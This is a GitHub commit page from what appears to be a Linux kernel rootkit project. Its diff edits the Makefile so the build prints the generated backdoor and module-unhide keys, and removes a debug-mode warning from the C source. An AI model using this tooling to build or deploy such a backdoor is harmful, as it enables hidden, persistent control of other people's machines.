Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Work on tty merge #176

Closed
wants to merge 17 commits into from
Prev Previous commit
Next Next commit
Remove warn when building in debug
Move it from source code to
Makefile and highlight important
build information.
  • Loading branch information
JNE committed Dec 30, 2024
commit 6fcdc77becc723882f43b8cdffdefe88c15256d7
16 changes: 11 additions & 5 deletions Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -49,11 +49,17 @@ all:
@sed -i 's#^static uint64_t __attribute__((unused)) auto_bdkey = .*#static uint64_t __attribute__((unused)) auto_bdkey = $(BDKEY);#' src/auto.h
@sed -i 's#^static uint64_t __attribute__((unused)) auto_unhidekey = .*#static uint64_t __attribute__((unused)) auto_unhidekey = $(UNHIDEKEY);#' src/auto.h
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
@echo -n "Save this Backdoor KEY: "
@echo $(BDKEY) | sed 's/^0x//'
@echo -n "Save this LKM unhide KEY: "
@echo $(UNHIDEKEY) | sed 's/^0x//'
@echo PROCNAME=$(PROCNAME)
@echo -n "Backdoor KEY: "
@echo "\033[1;37m$(BDKEY)\033[0m" | sed 's/0x//'
@echo -n "LKM unhide KEY: "
@echo "\033[1;37m$(UNHIDEKEY)\033[0m" | sed 's/0x//'
@echo "UI: \033[1;37m/proc/$(PROCNAME)\033[0m"
@echo -n "Build type: "
ifdef DEPLOY
@echo "\033[1;37mRELEASE\033[0m"
else
@echo "\033[1;37mDEBUG\033[0m"
endif

persist:
sed -i "s|.lm.sh|${UUIDGEN}.sh|g" $(persist).S
Expand Down
4 changes: 0 additions & 4 deletions src/kovid.c
Original file line number Diff line number Diff line change
Expand Up @@ -41,10 +41,6 @@
#pragma message "Missing \'MODNAME\' compilation directive. See Makefile."
#endif

#ifdef DEBUG_RING_BUFFER
#pragma message "!!! Be careful: Build kovid in DEBUG mode !!!"
#endif

#ifndef PRCTIMEOUT
/**
* default timeout seconds
Expand Down